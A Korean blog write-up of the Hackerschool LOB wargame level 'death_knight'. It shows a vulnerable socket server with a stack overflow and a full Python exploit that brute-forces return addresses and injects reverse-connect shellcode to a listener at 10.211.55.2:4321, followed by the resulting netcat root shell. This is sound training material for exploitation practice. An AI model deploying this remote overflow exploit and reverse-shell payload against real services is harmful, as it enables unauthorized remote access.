본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( xavius -> death_knight ) by ORANG - 리모트어택

LOB_xavious


[xavius@localhost xavius]$ bash2

[xavius@localhost xavius]$ ls

death_knight  death_knight.c

[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

char buffer[40];


int server_fd, client_fd;

struct sockaddr_in server_addr;

struct sockaddr_in client_addr;

int sin_size;


if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

perror("socket");

exit(1);

}


server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(6666);

server_addr.sin_addr.s_addr = INADDR_ANY;

bzero(&(server_addr.sin_zero), 8);


if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

perror("bind");

exit(1);

}


if(listen(server_fd, 10) == -1){

perror("listen");

exit(1);

}


while(1) {

sin_size = sizeof(struct sockaddr_in);

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

perror("accept");

continue;

}


if (!fork()){

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

send(client_fd, "You : ", 6, 0);

recv(client_fd, buffer, 256, 0);

close(client_fd);

break;

}


close(client_fd);

while(waitpid(-1,NULL,WNOHANG) > 0);

}

close(server_fd);

}



bash2 띄우고, 이번엔 소켓 프로그래밍 소스가 보이네요

리모트 어택 문제인 것 같습니다.


소켓 프로그래밍에 대한 설명은 생략하겠습니다.


소스를 보니 6666포트로 접속하면 되겠네요.

buffer 크기는 40바이트인데, 클라이언트로부터 256바이트를 입력받는 부분에 오버플로가 발생합니다.


0x8048a05 <main+321>: push   $0x0

0x8048a07 <main+323>: push   $0x100

0x8048a0c <main+328>: lea    0xffffffd8(%ebp),%eax

0x8048a0f <main+331>: push   %eax

0x8048a10 <main+332>: mov    0xffffffd0(%ebp),%eax

0x8048a13 <main+335>: push   %eax

---Type <return> to continue, or q <return> to quit---

0x8048a14 <main+336>: call   0x804860c <recv>


recv(client_fd, buffer, 256, 0); 부분을 보니, buffer는 ebp-0x28에 위치하네요.

dummy는 없으므로 바로 익스플로잇을 작성해 공격해보겠습니다.



#!/usr/bin/python

from socket import *

from struct import *


p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]


#reverse_connect 10.211.55.2:4321

shellcode=\

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\

"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x0a\xd3\x37\x02\x68"+\

"\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"+\

"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\

"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"


for i in range(0xFF, 0x00, -1):

for j in range(0xFF, 0x00, -1):

payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode


print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))


s=socket(AF_INET, SOCK_STREAM)

s.connect(("localhost", 6666))


print s.recv(52)

print s.recv(6)

s.send(payload)

s.close()



미리 만들어둔 IP 10.211.55.2, PORT 4321 에 리버스 커넥트 하는 쉘코드를 이용해

브루트 포싱을 통해 공격하였습니다. 


…생략…

You :

addr : 0xBFFFFF6BL

Death Knight : Not even death can save you from me!


You :

addr : 0xBFFFFF6AL

Death Knight : Not even death can save you from me!





ORANG@MacBook-Air:/opt/msf$

  nc -l 4321

id

uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)


my-pass

euid = 520

got the life



netcat을 통해 대기중에던 10.211.55.2의 터미널에 성공적으로 연결되었네요ㅎㅎ 




LOB_death_knight 



Lord of BOF 레드햇 버전 클리어!!